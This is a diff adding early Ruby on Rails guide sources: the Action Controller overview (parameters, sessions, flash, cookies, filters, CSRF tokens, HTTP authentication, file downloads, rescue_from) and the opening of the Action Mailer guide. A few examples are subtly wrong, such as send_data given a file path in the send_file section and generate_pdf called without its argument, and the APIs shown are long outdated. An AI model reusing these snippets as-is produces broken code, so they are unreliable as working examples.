+
+<ruby>
+def new
+ @client = Client.new
+end
+</ruby>
+
+The "Layouts & rendering guide":layouts_and_rendering.html explains this in more detail.
+
++ApplicationController+ inherits from +ActionController::Base+, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.
+
+Only public methods are callable as actions. It is a best practice to lower the visibility of methods which are not intended to be actions, like auxiliary methods or filters.
+
+h3. Parameters
+
+You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from an HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the +params+ hash in your controller:
+
+<ruby>
+class ClientsController < ActionController::Base
+ # This action uses query string parameters because it gets run
+ # by an HTTP GET request, but this does not make any difference
+ # to the way in which the parameters are accessed. The URL for
+ # this action would look like this in order to list activated
+ # clients: /clients?status=activated
+ def index
+ if params[:status] == "activated"
+ @clients = Client.activated
+ else
+ @clients = Client.unactivated
+ end
+ end
+
+ # This action uses POST parameters. They are most likely coming
+ # from an HTML form which the user has submitted. The URL for
+ # this RESTful request will be "/clients", and the data will be
+ # sent as part of the request body.
+ def create
+ @client = Client.new(params[:client])
+ if @client.save
+ redirect_to @client
+ else
+ # This line overrides the default rendering behavior, which
+ # would have been to render the "create" view.
+ render :action => "new"
+ end
+ end
+end
+</ruby>
+
+h4. Hash and Array Parameters
+
+The +params+ hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append an empty pair of square brackets "[]" to the key name:
+
+<pre>
+GET /clients?ids[]=1&ids[]=2&ids[]=3
+</pre>
+
+NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5b=3" as "[" and "]" are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.
+
+The value of +params[:ids]+ will now be +["1", "2", "3"]+. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.
+
+To send a hash you include the key name inside the brackets:
+
+<html>
+<form action="/clients" method="post">
+ <input type="text" name="client[name]" value="Acme" />
+ <input type="text" name="client[phone]" value="12345" />
+ <input type="text" name="client[address][postcode]" value="12345" />
+ <input type="text" name="client[address][city]" value="Carrot City" />
+</form>
+</html>
+
+When this form is submitted, the value of +params[:client]+ will be <tt>{"name" => "Acme", "phone" => "12345", "address" => {"postcode" => "12345", "city" => "Carrot City"}}</tt>. Note the nested hash in +params[:client][:address]+.
+
+Note that the +params+ hash is actually an instance of +HashWithIndifferentAccess+ from Active Support, which acts like a hash that lets you use symbols and strings interchangeably as keys.
+
+h4. Routing Parameters
+
+The +params+ hash will always contain the +:controller+ and +:action+ keys, but you should use the methods +controller_name+ and +action_name+ instead to access these values. Any other parameters defined by the routing, such as +:id+ will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the +:status+ parameter in a "pretty" URL:
+
+<ruby>
+map.connect "/clients/:status",
+ :controller => "clients",
+ :action => "index",
+ :foo => "bar"
+</ruby>
+
+In this case, when a user opens the URL +/clients/active+, +params[:status]+ will be set to "active". When this route is used, +params[:foo]+ will also be set to "bar" just like it was passed in the query string. In the same way +params[:action]+ will contain "index".
+
+h4. +default_url_options+
+
+You can set global default parameters that will be used when generating URLs with +default_url_options+. To do this, define a method with that name in your controller:
+
+<ruby>
+class ApplicationController < ActionController::Base
+ # The options parameter is the hash passed in to 'url_for'
+ def default_url_options(options)
+ {:locale => I18n.locale}
+ end
+end
+</ruby>
+
+These options will be used as a starting-point when generating URLs, so it's possible they'll be overridden by +url_for+. Because this method is defined in the controller, you can define it on +ApplicationController+ so it would be used for all URL generation, or you could define it on only one controller for all URLs generated there.
+
+
+h3. Session
+
+Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:
+
+* CookieStore - Stores everything on the client.
+* DRbStore - Stores the data on a DRb server.
+* MemCacheStore - Stores the data in a memcache.
+* ActiveRecordStore - Stores the data in a database using Active Record.
+
+All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure).
+
+For most stores this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited).
+
+The CookieStore can store around 4kB of data -- much less than the others -- but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error.
+
+Read more about session storage in the "Security Guide":security.html.
+
+If you need a different session storage mechanism, you can change it in the +config/initializers/session_store.rb+ file:
+
+<ruby>
+# Use the database for sessions instead of the cookie-based default,
+# which shouldn't be used to store highly confidential information
+# (create the session table with "rake db:sessions:create")
+# ActionController::Base.session_store = :active_record_store
+</ruby>
+
+Rails sets up a session key (the name of the cookie) and (for the CookieStore) a secret key used when signing the session data. These can also be changed in +config/initializers/session_store.rb+:
+
+<ruby>
+# Your secret key for verifying cookie session data integrity.
+# If you change this key, all old sessions will become invalid!
+# Make sure the secret is at least 30 characters and all random,
+# no regular words or you'll be exposed to dictionary attacks.
+ActionController::Base.session = {
+ :key => '_yourappname_session',
+ :secret => '4f50711b8f0f49572...'
+}
+</ruby>
+
+NOTE: Changing the secret when using the CookieStore will invalidate all existing sessions.
+
+h4. Accessing the Session
+
+In your controller you can access the session through the +session+ instance method.
+
+NOTE: Sessions are lazily loaded. If you don't access sessions in your action's code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job.
+
+Session values are stored using key/value pairs like a hash:
+
+<ruby>
+class ApplicationController < ActionController::Base
+
+private
+
+ # Finds the User with the ID stored in the session with the key
+ # :current_user_id This is a common way to handle user login in
+ # a Rails application; logging in sets the session value and
+ # logging out removes it.
+ def current_user
+ @_current_user ||= session[:current_user_id] &&
+ User.find(session[:current_user_id])
+ end
+end
+</ruby>
+
+To store something in the session, just assign it to the key like a hash:
+
+<ruby>
+class LoginsController < ApplicationController
+ # "Create" a login, aka "log the user in"
+ def create
+ if user = User.authenticate(params[:username], params[:password])
+ # Save the user ID in the session so it can be used in
+ # subsequent requests
+ session[:current_user_id] = user.id
+ redirect_to root_url
+ end
+ end
+end
+</ruby>
+
+To remove something from the session, assign that key to be +nil+:
+
+<ruby>
+class LoginsController < ApplicationController
+ # "Delete" a login, aka "log the user out"
+ def destroy
+ # Remove the user id from the session
+ session[:current_user_id] = nil
+ redirect_to root_url
+ end
+end
+</ruby>
+
+To reset the entire session, use +reset_session+.
+
+h4. The Flash
+
+The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:
+
+<ruby>
+class LoginsController < ApplicationController
+ def destroy
+ session[:current_user_id] = nil
+ flash[:notice] = "You have successfully logged out"
+ redirect_to root_url
+ end
+end
+</ruby>
+
+The +destroy+ action redirects to the application's +root_url+, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display eventual errors or notices from the flash in the application's layout:
+
+<ruby>
+<html>
+ <!-- <head/> -->
+ <body>
+ <% if flash[:notice] -%>
+ <p class="notice"><%= flash[:notice] %></p>
+ <% end -%>
+ <% if flash[:error] -%>
+ <p class="error"><%= flash[:error] %></p>
+ <% end -%>
+ <!-- more content -->
+ </body>
+</html>
+</ruby>
+
+This way, if an action sets an error or a notice message, the layout will display it automatically.
+
+If you want a flash value to be carried over to another request, use the +keep+ method:
+
+<ruby>
+class MainController < ApplicationController
+ # Let's say this action corresponds to root_url, but you want
+ # all requests here to be redirected to UsersController#index.
+ # If an action sets the flash and redirects here, the values
+ # would normally be lost when another redirect happens, but you
+ # can use 'keep' to make it persist for another request.
+ def index
+ # Will persist all flash values.
+ flash.keep
+
+ # You can also use a key to keep only some kind of value.
+ # flash.keep(:notice)
+ redirect_to users_url
+ end
+end
+</ruby>
+
+h5. +flash.now+
+
+By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the +create+ action fails to save a resource and you render the +new+ template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use +flash.now+ in the same way you use the normal +flash+:
+
+<ruby>
+class ClientsController < ApplicationController
+ def create
+ @client = Client.new(params[:client])
+ if @client.save
+ # ...
+ else
+ flash.now[:error] = "Could not save client"
+ render :action => "new"
+ end
+ end
+end
+</ruby>
+
+h3. Cookies
+
+Your application can store small amounts of data on the client -- called cookies -- that will be persisted across requests and even sessions. Rails provides easy access to cookies via the +cookies+ method, which -- much like the +session+ -- works like a hash:
+
+<ruby>
+class CommentsController < ApplicationController
+ def new
+ # Auto-fill the commenter's name if it has been stored in a cookie
+ @comment = Comment.new(:name => cookies[:commenter_name])
+ end
+
+ def create
+ @comment = Comment.new(params[:comment])
+ if @comment.save
+ flash[:notice] = "Thanks for your comment!"
+ if params[:remember_name]
+ # Remember the commenter's name.
+ cookies[:commenter_name] = @comment.name
+ else
+ # Delete cookie for the commenter's name cookie, if any.
+ cookies.delete(:commenter_name)
+ end
+ redirect_to @comment.article
+ else
+ render :action => "new"
+ end
+ end
+end
+</ruby>
+
+Note that while for session values you set the key to +nil+, to delete a cookie value you should use +cookies.delete(:key)+.
+
+h3. Filters
+
+Filters are methods that are run before, after or "around" a controller action.
+
+Filters are inherited, so if you set a filter on +ApplicationController+, it will be run on every controller in your application.
+
+Before filters may halt the request cycle. A common before filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:
+
+<ruby>
+class ApplicationController < ActionController::Base
+ before_filter :require_login
+
+private
+ def require_login
+ unless logged_in?
+ flash[:error] = "You must be logged in to access this section"
+ redirect_to new_login_url # halts request cycle
+ end
+ end
+
+ # The logged_in? method simply returns true if the user is logged
+ # in and false otherwise. It does this by "booleanizing" the
+ # current_user method we created previously using a double ! operator.
+ # Note that this is not common in Ruby and is discouraged unless you
+ # really mean to convert something into true or false.
+ def logged_in?
+ !!current_user
+ end
+end
+</ruby>
+
+The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter renders or redirects, the action will not run. If there are additional filters scheduled to run after that filter they are also cancelled.
+
+In this example the filter is added to +ApplicationController+ and thus all controllers in the application inherit it. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with +skip_before_filter+:
+
+<ruby>
+class LoginsController < Application
+ skip_before_filter :require_login, :only => [:new, :create]
+end
+</ruby>
+
+Now, the +LoginsController+'s +new+ and +create+ actions will work as before without requiring the user to be logged in. The +:only+ option is used to only skip this filter for these actions, and there is also an +:except+ option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.
+
+h4. After Filters and Around Filters
+
+In addition to before filters, you can run filters after an action has run or both before and after. The after filter is similar to the before filter, but because the action has already been run it has access to the response data that's about to be sent to the client. Obviously, after filters can not stop the action from running.
+
+Around filters are responsible for running the action, but they can choose not to, which is the around filter's way of stopping it.
+
+<ruby>
+# Example taken from the Rails API filter documentation:
+# http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html
+class ApplicationController < Application
+ around_filter :catch_exceptions
+
+private
+ def catch_exceptions
+ yield
+ rescue => exception
+ logger.debug "Caught exception! #{exception}"
+ raise
+ end
+end
+</ruby>
+
+h4. Other Ways to Use Filters
+
+While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing.
+
+The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the +require_login+ filter from above could be rewritten to use a block:
+
+<ruby>
+class ApplicationController < ActionController::Base
+ before_filter do |controller|
+ redirect_to new_login_url unless controller.send(:logged_in?)
+ end
+end
+</ruby>
+
+Note that the filter in this case uses +send+ because the +logged_in?+ method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.
+
+The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
+
+<ruby>
+class ApplicationController < ActionController::Base
+ before_filter LoginFilter
+end
+
+class LoginFilter
+ def self.filter(controller)
+ unless controller.send(:logged_in?)
+ controller.flash[:error] = "You must be logged in"
+ controller.redirect_to controller.new_login_url
+ end
+ end
+end
+</ruby>
+
+Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method +filter+ which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same +filter+ method, which will get run in the same way. The method must +yield+ to execute the action. Alternatively, it can have both a +before+ and an +after+ method that are run before and after the action.
+
+The Rails API documentation has "more information on using filters":http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html.
+
+h3. Verification
+
+Verifications make sure certain criteria are met in order for a controller or action to run. They can specify that a certain key (or several keys in the form of an array) is present in the +params+, +session+ or +flash+ hashes or that a certain HTTP method was used or that the request was made using +XMLHTTPRequest+ (Ajax). The default action taken when these criteria are not met is to render a 400 Bad Request response, but you can customize this by specifying a redirect URL or rendering something else and you can also add flash messages and HTTP headers to the response. It is described in the "API documentation":http://api.rubyonrails.org/classes/ActionController/Verification/ClassMethods.html as "essentially a special kind of before_filter".
+
+Here's an example of using verification to make sure the user supplies a username and a password in order to log in:
+
+<ruby>
+class LoginsController < ApplicationController
+ verify :params => [:username, :password],
+ :render => {:action => "new"},
+ :add_flash => {
+ :error => "Username and password required to log in"
+ }
+
+ def create
+ @user = User.authenticate(params[:username], params[:password])
+ if @user
+ flash[:notice] = "You're logged in"
+ redirect_to root_url
+ else
+ render :action => "new"
+ end
+ end
+end
+</ruby>
+
+Now the +create+ action won't run unless the "username" and "password" parameters are present, and if they're not, an error message will be added to the flash and the +new+ action will be rendered. But there's something rather important missing from the verification above: It will be used for *every* action in LoginsController, which is not what we want. You can limit which actions it will be used for with the +:only+ and +:except+ options just like a filter:
+
+<ruby>
+class LoginsController < ApplicationController
+ verify :params => [:username, :password],
+ :render => {:action => "new"},
+ :add_flash => {
+ :error => "Username and password required to log in"
+ },
+ :only => :create # Run only for the "create" action
+end
+</ruby>
+
+h3. Request Forgery Protection
+
+Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission.
+
+The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests.
+
+The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.
+
+If you generate a form like this:
+
+<ruby>
+<% form_for @user do |f| -%>
+ <%= f.text_field :username %>
+ <%= f.text_field :password -%>
+<% end -%>
+</ruby>
+
+You will see how the token gets added as a hidden field:
+
+<html>
+<form action="/users/1" method="post">
+<input type="hidden"
+ value="67250ab105eb5ad10851c00a5621854a23af5489"
+ name="authenticity_token"/>
+<!-- fields -->
+</form>
+</html>
+
+Rails adds this token to every form that's generated using the "form helpers":form_helpers.html, so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method +form_authenticity_token+:
+
+The +form_authenticity_token+ generates a valid authentication token. That's useful in places where Rails does not add it automatically, like in custom Ajax calls.
+
+The "Security Guide":security.html has more about this and a lot of other security-related issues that you should be aware of when developing a web application.
+
+h3. The Request and Response Objects
+
+In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The +request+ method contains an instance of +AbstractRequest+ and the +response+ method returns a response object representing what is going to be sent back to the client.
+
+h4. The +request+ Object
+
+The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionController/AbstractRequest.html. Among the properties that you can access on this object are:
+
+|_.Property of +request+|_.Purpose|
+|host|The hostname used for this request.|
+|domain(n=2)|The hostname's first +n+ segments, starting from the right (the TLD).|
+|format|The content type requested by the client.|
+|method|The HTTP method used for the request.|
+|get?, post?, put?, delete?, head?|Returns true if the HTTP method is GET/POST/PUT/DELETE/HEAD.|
+|headers|Returns a hash containing the headers associated with the request.|
+|port|The port number (integer) used for the request.|
+|protocol|Returns a string containing the protocol used plus "://", for example "http://".|
+|query_string|The query string part of the URL, i.e., everything after "?".|
+|remote_ip|The IP address of the client.|
+|url|The entire URL used for the request.|
+
+h5. +path_parameters+, +query_parameters+, and +request_parameters+
+
+Rails collects all of the parameters sent along with the request in the +params+ hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The +query_parameters+ hash contains parameters that were sent as part of the query string while the +request_parameters+ hash contains parameters sent as part of the post body. The +path_parameters+ hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.
+
+h4. The +response+ Object
+
+The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.
+
+|_.Property of +response+|_.Purpose|
+|body|This is the string of data being sent back to the client. This is most often HTML.|
+|status|The HTTP status code for the response, like 200 for a successful request or 404 for file not found.|
+|location|The URL the client is being redirected to, if any.|
+|content_type|The content type of the response.|
+|charset|The character set being used for the response. Default is "utf-8".|
+|headers|Headers used for the response.|
+
+h5. Setting Custom Headers
+
+If you want to set custom headers for a response then +response.headers+ is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them automatically. If you want to add or change a header, just assign it to +response.headers+ this way:
+
+<ruby>
+response.headers["Content-Type"] = "application/pdf"
+</ruby>
+
+h3. HTTP Authentications
+
+Rails comes with two built-in HTTP authentication mechanisms:
+
+* Basic Authentication
+* Digest Authentication
+
+h4. HTTP Basic Authentication
+
+HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, +authenticate_or_request_with_http_basic+.
+
+<ruby>
+class AdminController < ApplicationController
+ USERNAME, PASSWORD = "humbaba", "5baa61e4"
+
+ before_filter :authenticate
+
+private
+ def authenticate
+ authenticate_or_request_with_http_basic do |username, password|
+ username == USERNAME &&
+ Digest::SHA1.hexdigest(password) == PASSWORD
+ end
+ end
+end
+</ruby>
+
+With this in place, you can create namespaced controllers that inherit from +AdminController+. The before filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.
+
+h4. HTTP Digest Authentication
+
+HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, +authenticate_or_request_with_http_digest+.
+
+<ruby>
+class AdminController < ApplicationController
+ USERS = { "lifo" => "world" }
+
+ before_filter :authenticate
+
+private
+ def authenticate
+ authenticate_or_request_with_http_digest do |username|
+ USERS[username]
+ end
+ end
+end
+</ruby>
+
+As seen in the example above, the +authenticate_or_request_with_http_digest+ block takes only one argument - the username. And the block returns the password. Returning +false+ or +nil+ from the +authenticate_or_request_with_http_digest+ will cause authentication failure.
+
+h3. Streaming and File Downloads
+
+Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the +send_data+ and the +send_file+ methods, which will both stream data to the client. +send_file+ is a convenience method that lets you provide the name of a file on the disk and it will stream the contents of that file for you.
+
+To stream data to the client, use +send_data+:
+
+<ruby>
+require "prawn"
+class ClientsController < ApplicationController
+ # Generates a PDF document with information on the client and
+ # returns it. The user will get the PDF as a file download.
+ def download_pdf
+ client = Client.find(params[:id])
+ send_data(generate_pdf,
+ :filename => "#{client.name}.pdf",
+ :type => "application/pdf")
+ end
+
+private
+
+ def generate_pdf(client)
+ Prawn::Document.new do
+ text client.name, :align => :center
+ text "Address: #{client.address}"
+ text "Email: #{client.email}"
+ end.render
+ end
+end
+</ruby>
+
+The +download_pdf+ action in the example above will call a private method which actually generates the PDF document and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the +:disposition+ option to "inline". The opposite and default value for this option is "attachment".
+
+h4. Sending Files
+
+If you want to send a file that already exists on disk, use the +send_file+ method.
+
+<ruby>
+class ClientsController < ApplicationController
+ # Stream a file that has already been generated and stored on disk.
+ def download_pdf
+ client = Client.find(params[:id])
+ send_data("#{RAILS_ROOT}/files/clients/#{client.id}.pdf",
+ :filename => "#{client.name}.pdf",
+ :type => "application/pdf")
+ end
+end
+</ruby>
+
+This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the +:stream+ option or adjust the block size with the +:buffer_size+ option.
+
+WARNING: Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see.
+
+TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. Although if you do need the request to go through Rails for some reason, you can set the +:x_sendfile+ option to true, and Rails will let the web server handle sending the file to the user, freeing up the Rails process to do other things. Note that your web server needs to support the +X-Sendfile+ header for this to work.
+
+h4. RESTful Downloads
+
+While +send_data+ works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the +show+ action, without any streaming:
+
+<ruby>
+class ClientsController < ApplicationController
+ # The user can request to receive this resource as HTML or PDF.
+ def show
+ @client = Client.find(params[:id])
+
+ respond_to do |format|
+ format.html
+ format.pdf { render :pdf => generate_pdf(@client) }
+ end
+ end
+end
+</ruby>
+
+In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file +config/initializers/mime_types.rb+:
+
+<ruby>
+Mime::Type.register "application/pdf", :pdf
+</ruby>
+
+NOTE: Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.
+
+Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:
+
+<shell>
+GET /clients/1.pdf
+</shell>
+
+h3. Parameter Filtering
+
+Rails keeps a log file for each environment in the +log+ folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. The +filter_parameter_logging+ method can be used to filter out sensitive information from the log. It works by replacing certain values in the +params+ hash with "[FILTERED]" as they are written to the log. As an example, let's see how to filter all parameters with keys that include "password":
+
+<ruby>
+class ApplicationController < ActionController::Base
+ filter_parameter_logging :password
+end
+</ruby>
+
+The method works recursively through all levels of the +params+ hash and takes an optional second parameter which is used as the replacement string if present. It can also take a block which receives each key in turn and replaces those for which the block returns true.
+
+h3. Rescue
+
+Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the +ActiveRecord::RecordNotFound+ exception.
+
+Rails' default exception handling displays a "500 Server Error" message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application:
+
+h4. The Default 500 and 404 Templates
+
+By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the +public+ folder, in +404.html+ and +500.html+ respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML.
+
+h4. +rescue_from+
+
+If you want to do something a bit more elaborate when catching errors, you can use +rescue_from+, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses.
+
+When an exception occurs which is caught by a +rescue_from+ directive, the exception object is passed to the handler. The handler can be a method or a +Proc+ object passed to the +:with+ option. You can also use a block directly instead of an explicit +Proc+ object.
+
+Here's how you can use +rescue_from+ to intercept all +ActiveRecord::RecordNotFound+ errors and do something with them.
+
+<ruby>
+class ApplicationController < ActionController::Base
+ rescue_from ActiveRecord::RecordNotFound, :with => :record_not_found
+
+private
+ def record_not_found
+ render :text => "404 Not Found", :status => 404
+ end
+end
+</ruby>
+
+Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:
+
+<ruby>
+class ApplicationController < ActionController::Base
+ rescue_from User::NotAuthorized, :with => :user_not_authorized
+
+private
+ def user_not_authorized
+ flash[:error] = "You don't have access to this section."
+ redirect_to :back
+ end
+end
+
+class ClientsController < ApplicationController
+ # Check that the user has the right authorization to access clients.
+ before_filter :check_authorization
+
+ # Note how the actions don't have to worry about all the auth stuff.
+ def edit
+ @client = Client.find(params[:id])
+ end
+
+private
+ # If the user is not authorized, just throw the exception.
+ def check_authorization
+ raise User::NotAuthorized unless current_user.admin?
+ end
+end
+</ruby>
+
+NOTE: Certain exceptions are only rescuable from the +ApplicationController+ class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's "article":http://m.onkey.org/2008/7/20/rescue-from-dispatching on the subject for more information.
+
+h3. Changelog
+
+"Lighthouse Ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/17
+
+* February 17, 2009: Yet another proofread by Xavier Noria.
+
+* November 4, 2008: First release version by Tore Darell
diff --git a/railties/guides/source/action_mailer_basics.textile b/railties/guides/source/action_mailer_basics.textile
new file mode 100644
index 0000000000..9476635ae6
--- /dev/null
+++ b/railties/guides/source/action_mailer_basics.textile
@@ -0,0 +1,424 @@
+h2. Action Mailer Basics
+
+This guide should provide you with all you need to get started in sending and receiving emails from/to your application, and many internals of Action Mailer. It also covers how to test your mailers.
+
+endprologue.
+
+h3. Introduction
+
+Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating models that inherit from +ActionMailer::Base+ that live alongside other models in +app/models+. Those models have associated views that appear alongside controller views in +app/views+.
+
+h3. Sending Emails
+
+This section will provide a step-by-step guide to creating a mailer and its views.
+
+h4. Walkthrough to Generating a Mailer
+
+h5. Create the Mailer
+
+<shell>
+./script/generate mailer UserMailer
+exists app/models/
+create app/views/user_mailer
+exists test/unit/
+create test/fixtures/user_mailer
+create app/models/user_mailer.rb
+create test/unit/user_mailer_test.rb
+</shell>
+
+So we got the model, the fixtures, and the tests.
+
+h5. Edit the Model
+
++app/models/user_mailer.rb+ contains an empty mailer:
+
+<ruby>
+class UserMailer < ActionMailer::Base
+end
+</ruby>
+
+Let's add a method called +welcome_email+, that will send an email to the user's registered email address:
+
+<ruby>
+class UserMailer < ActionMailer::Base
+ def welcome_email(user)
+ recipients user.email
+ from "My Awesome Site Notifications <notifications@example.com>"
+ subject "Welcome to My Awesome Site"
+ sent_on Time.now
+ body {:user => user, :url => "http://example.com/login"}
+ end
+end
+</ruby>
+
+Here is a quick explanation of the options presented in the preceding method. For a full list of all available options, please have a look further down at the Complete List of ActionMailer user-settable attributes section.
+
+|recipients| The recipients of the email. It can be a string or, if there are multiple recipients, an array of strings|
+|from| The from address of the email|
+|subject| The subject of the email|
+|sent_on| The timestamp for the email|
+
+The keys of the hash passed to +body+ become instance variables in the view. Thus, in our example the mailer view will have a +@user+ and a +@url+ instance variables available.
+
+h5. Create a Mailer View
+
+Create a file called +welcome_email.text.html.erb+ in +app/views/user_mailer/+. This will be the template used for the email, formatted in HTML:
+
+<erb>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+ <head>
+ <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+ </head>
+ <body>
+ <h1>Welcome to example.com, <%=h @user.first_name %></h1>
+ <p>
+ You have successfully signed up to example.com, and your username is: <%= @user.login %>.<br/>
+ To login to the site, just follow this link: <%=h @url %>.
+ </p>
+ <p>Thanks for joining and have a great day!</p>
+ </body>
+</html>
+</erb>
+
+Had we wanted to send text-only emails, the file would have been called +welcome_email.text.plain.erb+. Rails sets the content type of the email to be the one in the filename.
+
+h5. Wire It Up So That the System Sends the Email When a User Signs Up
+
+There are three ways to achieve this. One is to send the email from the controller that sends the email, another is to put it in a +before_create+ callback in the user model, and the last one is to use an observer on the user model. Whether you use the second or third methods is up to you, but staying away from the first is recommended. Not because it's wrong, but because it keeps your controller clean, and keeps all logic related to the user model within the user model. This way, whichever way a user is created (from a web form, or from an API call, for example), we are guaranteed that the email will be sent.
+
+Let's see how we would go about wiring it up using an observer:
+
+In +config/environment.rb+:
+
+<ruby>
+Rails::Initializer.run do |config|
+ # ...
+ config.active_record.observers = :user_observer
+end
+</ruby>
+
+You can place the observer in +app/models+ where it will be loaded automatically by Rails.
+
+Now create a file called +user_observer.rb+ in +app/models+ depending on where you stored it, and make it look like:
+
+<ruby>
+class UserObserver < ActiveRecord::Observer
+ def after_create(user)
+ UserMailer.deliver_welcome_email(user)
+ end
+end
+</ruby>
+
